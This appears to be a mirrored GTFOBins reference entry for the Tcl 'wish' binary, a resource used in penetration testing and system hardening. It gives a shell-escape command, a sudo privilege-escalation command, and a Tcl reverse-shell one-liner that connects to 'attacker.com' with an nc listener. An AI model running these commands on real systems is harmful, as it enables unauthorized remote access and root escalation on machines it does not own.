1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 10:53:35 +02:00
GTFOBins.github.io/_gtfobins/wish.md
2018-07-16 15:01:50 +02:00

612 B

functions
execute-interactive reverse-shell-non-interactive sudo-enabled
code
wish exec /bin/sh <@stdin >@stdout 2>@stderr
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | wish
code
sudo wish exec /bin/sh <@stdin >@stdout 2>@stderr